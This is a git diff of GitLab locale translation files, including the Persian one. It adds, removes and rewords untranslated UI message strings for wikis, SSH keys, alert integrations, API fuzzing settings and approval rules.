msgid "WikiEdit|There is already a page with the same title in that path."
msgstr ""
@@ -33826,34 +34641,49 @@ msgstr ""
msgid "WikiHistoricalPage|most recent version"
msgstr ""
-msgid "WikiMarkdownDocs|More examples are in the %{docs_link}"
+msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgstr ""
+
+msgid "WikiPageConfirmDelete|Delete page"
msgstr ""
-msgid "WikiMarkdownDocs|documentation"
+msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
msgstr ""
-msgid "WikiMarkdownTip|To link to a (new) page, simply type %{link_example}"
+msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
-msgid "WikiNewPageTip|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgid "WikiPage|Commit message"
msgstr ""
-msgid "WikiPageConfirmDelete|Are you sure you want to delete this page?"
+msgid "WikiPage|Content"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page"
+msgid "WikiPage|Create %{pageTitle}"
msgstr ""
-msgid "WikiPageConfirmDelete|Delete page %{pageTitle}?"
+msgid "WikiPage|Create page"
msgstr ""
-msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
+msgid "WikiPage|Format"
msgstr ""
-msgid "WikiPageCreate|Create %{pageTitle}"
+msgid "WikiPage|Page title"
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
+msgstr ""
+
+msgid "WikiPage|Tip: You can specify the full path for the new file. We will automatically create any missing directories."
+msgstr ""
+
+msgid "WikiPage|Title"
+msgstr ""
+
+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -33865,9 +34695,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -33880,9 +34707,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -33943,6 +34767,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34099,6 +34926,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34240,6 +35073,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34324,9 +35160,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34363,12 +35196,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34402,7 +35229,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34417,9 +35244,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34603,12 +35427,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34729,6 +35559,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34822,7 +35655,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -34929,6 +35762,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35231,6 +36067,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35415,6 +36260,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35585,7 +36433,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35620,13 +36468,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35740,9 +36585,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -35893,18 +36735,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -35935,9 +36771,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36004,15 +36837,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36290,9 +37114,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36338,6 +37159,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/fa_IR/gitlab.po b/locale/fa_IR/gitlab.po
index 376ae6598a6..e43f5b3da9e 100644
--- a/locale/fa_IR/gitlab.po
+++ b/locale/fa_IR/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: fa\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:49\n"
+"PO-Revision-Date: 2021-04-02 00:08\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
